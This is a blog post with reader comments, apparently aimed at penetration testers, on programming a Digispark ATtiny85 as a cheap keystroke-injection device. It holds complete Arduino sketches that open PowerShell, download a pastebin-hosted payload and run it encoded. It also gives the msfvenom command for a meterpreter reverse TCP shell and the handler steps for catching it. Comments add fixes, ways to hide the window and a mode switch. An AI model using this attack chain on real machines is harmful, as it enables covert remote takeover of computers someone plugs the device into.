I believe most people are familiar with Hak5’s Rubbery Ducky, however, if you don’t here’s a tl;dr. It looks like a USB flash drive but acts like a keyboard, sort of. One can program it to drop shells or whatnot on a computer that it is plugged into. While not super expensive it does cost a bit, enough that it would suck to lose. So on riskier engagements it would be better to use cheaper hardware if possible. I mean, I saw this device go for roughly 1 dollar on ebay. When I got a ATtiny85 from Johannes I got excited to see how rough it would be to make it perform similar as a Rubbery Ducky. Turns out that was not very hard. Another key difference is that this device is more low level.
Installation
First of all we need to download Arduino 1.6.5 IDE (only version I could make it work with, might be possible with newer) and install it. I installed it in a Microsoft Windows VM but feel free to do it however you want. Next up we need to add support for the ATtiny85 board. In the Arduino IDE goto: File -> Preferences and add http://digistump.com/package_digistump_index.json to “Additional Boards Manager URLs:.
Once that is done we need to install the board. Tools-> Board -> Boards Manager
Switch Type from all to contributed. Scroll down to “Digistump AVR Boards” by Digistump and install it. Now the Arduino Board should support our ATtiny85 and be ready to use. In the Tools menu change board to Digispark (Default – 16.6 mhz).
Configuration
Now, if you use an American keyboard I believe you’re pretty much set and can skip down to the programming section. However I use a Swedish keyboard and thus I need to define where some keys are located. Otherwise when we program certain special characters it will type out the wrong key (example: ö instead of colon).
The file we’re going to edit is called DigiKeyboard.h. You can find it here: %APPDATA%\Roaming\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\DigiKeyboard.h
Open it and add the following definitions.
#define KEY_ENTER 40
#define KEY_SPACE 44
#define KEY_SINGLEQ 49
#define KEY_COLON 55
#define KEY_HYPHEN 56
#define KEY_DELETE 76
If these definitions are not enough and you find yourself needing some other character use this reference (page 54) and map it.
Programming
Now, due to size limitations we can’t just toss a big nice meterpreter shell into the device. I went from a simple (but not very elegant) approach and generated a reverse tcp meterpreter shell and tossed it on pastebin. The plan is to run a serie of powershell commands which will grab the payload from pastebin and then execute it. If you come up with a way on how to do this with the Digispark’s size limitations and keep it offline, please drop a comment. Also this example is for Microsoft Windows but the device should work on all operating systems.
Generate payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.129 LPORT=4444 -f psh-cmd –smallest
I removed everything up to powershell.exe and threw it on pastebin. Here’s my example.
So, to do this we want to hit meta+r to bring up Run and start powershell. Once that’s done we are going to invoke a few commands to download the payload and then execute it. On a side note this is the first time I’ve ever touched powershell :)
Powershell
$url = 'http://pastebin.com/raw/DJbS5mTj'
$result = Invoke-WebRequest -Uri $url
powershell.exe -nop -e $result.content
Arduino Code
The code should be pretty self explanatory. Do notice that this is for a Swedish keyboard. I have also written an American version but do keep in mind that it is untested but feel free to try it and notice me if it doesn’t work.
Swedish Keyboard Code
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.update();
}
void loop() {
delay(1000);
DigiKeyboard.update();
delay(100);
// meta+r, delete content, start powershell
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
delay(100);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
delay(50);
DigiKeyboard.println("powershell");
delay(200);
// $url = 'pastebin.com/raw/DJbS5mTj'
DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT); // Send $
DigiKeyboard.print("url ");
DigiKeyboard.sendKeyStroke(KEY_0, MOD_SHIFT_LEFT); // Send =
DigiKeyboard.sendKeyStroke(KEY_SPACE); // Send whitespace
DigiKeyboard.sendKeyStroke(KEY_SINGLEQ); // Send '
DigiKeyboard.print("pastebin.com");
DigiKeyboard.sendKeyStroke(KEY_7, MOD_SHIFT_LEFT); // Send /
DigiKeyboard.print("raw");
DigiKeyboard.sendKeyStroke(KEY_7, MOD_SHIFT_LEFT); // Send /
DigiKeyboard.print("DJbS5mTj");
DigiKeyboard.sendKeyStroke(KEY_SINGLEQ); // Send '
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(50);
// $result = Invoke-WebRequest -Uri $url
DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT); // Send $
DigiKeyboard.print("result ");
DigiKeyboard.sendKeyStroke(KEY_0, MOD_SHIFT_LEFT); // Send =
DigiKeyboard.print(" Invoke");
DigiKeyboard.sendKeyStroke(KEY_HYPHEN); // -
DigiKeyboard.print("WebRequest ");
DigiKeyboard.sendKeyStroke(KEY_HYPHEN); // -
DigiKeyboard.print("Uri ");
DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT); // Send $
DigiKeyboard.println("url");
delay(50);
// powershell.exe -nop -e $result.content
DigiKeyboard.print("powershell.exe ");
DigiKeyboard.sendKeyStroke(KEY_HYPHEN); // -
DigiKeyboard.print("nop ");
DigiKeyboard.sendKeyStroke(KEY_HYPHEN); // -
DigiKeyboard.print("e ");
DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT); // Send $
DigiKeyboard.println("result.content");
delay(900000);
}
Keep in mind that print does not end the line while println does.
American Keyboard Code
Untested code!
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.update();
}
void loop() {
delay(1000);
DigiKeyboard.update();
delay(100);
// meta+r, delete content, start powershell
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
delay(100);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
delay(50);
DigiKeyboard.println("powershell");
delay(200);
DigiKeyboard.println("$url = 'pastebin.com/raw/DJbS5mTj'");
delay(50);
DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
delay(50);
DigiKeyboard.println("powershell.exe -nop -e $result.content");
delay(900000);
}
Write and Test
Once the code is in place save the project. Click verify and then upload. Plugin the Digispark and Arduino IDE should automatically find it and write our code to the device. If everything went as expected you should be presented with the following message: Micronucleaus done. Thank you!. Remove the device.
Unless something went wrong we should now setup a multi/handler to catch the meterpreter shell. Do so and then plugin the device. It should now perform every steps automatically and drop a shell for us. Sweet.
Thoughts
It is not good to leave an open powershell window on a computer. To remedy this we can make Metasploit automatically migrate and kill the old process. Or migrate process with Metasploit, add a delay to the Digispark and hit exit.
Another issue (maybe) is the looks of the device. I suppose it shouldn’t be very hard to 3d print a cover for it.
I picked one of these up last night, gonna give it a run and see how it goes for the US code. gonna be a few weeks till it arrives but i’ll share my results.
Awesome, looking forward to it!
Setup Arduino 1.6.5
Installed Digispark
Programming it using the above US code, i got an error:
sketch_aug26a.ino: In function ‘void loop()’:
sketch_aug26a.ino:15:30: error: ‘KEY_DELETE’ was not declared in this scope
‘KEY_DELETE’ was not declared in this scope
You need to declare KEY_DELETE in DigiKeyboard.h, check ‘Configuration’ in the post.
Great guide, just want to add a few thing from my experience.
I found that on my laptop it did not work unless a powered USB hub was used.
Also i found that the $result = Invoke-WebRequest -Uri $url does not work nless internet explorer has been launched at least once which might not be the case on a Windows 10 computer where Edge is the default browser.
Adding exit at the end takes care of closing the powershell windows.
DigiKeyboard.println(“exit”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);powershell
Thanks for the reply.
About the laptop: Not sure if it will be different if the bootloader is disabled. If this is the case it makes the device not as useful.
I did not know about the Invoke-WebRequest, I will need to check it out if it’s the same on previous Windows versions.
Great guide, just a quick heads up, i had a problem getting the windows key to work,
not sure if it worked for the rest of you but i needed to add
DigiKeyboard.sendKeyStroke(0);
before the WIN+R line for it to work.
A script to translate already encoded RubberDucky payloads (respecting choosen keyboard language layout) to DigiSpark Sketch source for arduino ide: https://github.com/mame82/duck2spark
It’s possible to add a little switch that pass from “hacking mode” to “developer mode”?
I know the post is from 2017 but if still somebody is looking for it here how you could do it:
Connect the switch with a pulldown-resistor to the digispark ( https://imgur.com/Q8pisB6 )
then you can use this code:
#include “DigiKeyboard.h”
void setup(){
// Pins PB3 and PB4 are reserved for USB
DDRB = 0b000000;
}
void loop(){
// switch is connected to PB0 in the example
// put the 1 to the bit where you connect it
// (starting with PB0 from right)
if (PINB & 0b000001) { // switch closed
// code for developer mode
DigiKeyboard.println(“Dev mode”);
}
else { // switch open
// code for hacking mode
DigiKeyboard.println(“Hack mode”);
}
}
When the switch is closed it will execute the block with developer mode (in this example just print ‘Dev mode’) if the switch is open it executes the other block (i.e. print ‘Hack mode’).
If you have only a simple wire/jumper or just don’t want to solder a switch to the Digispark you can use this code:
#include “DigiKeyboard.h”
void setup(){
// Pins PB3 and PB4 reserved for USB
// PB0 used as HIGHT-Output
DDRB = 0b000001;
// set P0 to HIGH
PORTB |= 0b000001;
}
void loop(){
if (PINB & 0b000010) { // jumper connects PB0 and PB1
// code for developer mode
DigiKeyboard.println(“Dev mode”);
}
else {
// code for hacking mode
DigiKeyboard.println(“Hack mode”);
}
}
If you connect the two pins PB0 and PB1 with a wire/jumper it executes the develpoer mode block, otherwise the hack mode block.
I am running this on a machine runnung Ubuntu 17.04 with Powershell installed. I have tried the 16.04 version of Powershell and the Linux appImage version. I am using the Swedish keyboard version modified for a German keyboard. Everything runs fine until the “powershell.exe -nop -e $result.content” command. I removed the .exe and ran “powershell -nop -e $result.content” but I always get the following message
Exception calling “Start” with “1” argument(s): “No such file or directory” At line:1 char:2180 + … ‘;$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : Win32Exception
Any thoughts on what I am doing wrong?
Hey the Link to the HID Usage Tables at the end of the configuration section is broken. The new link is https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf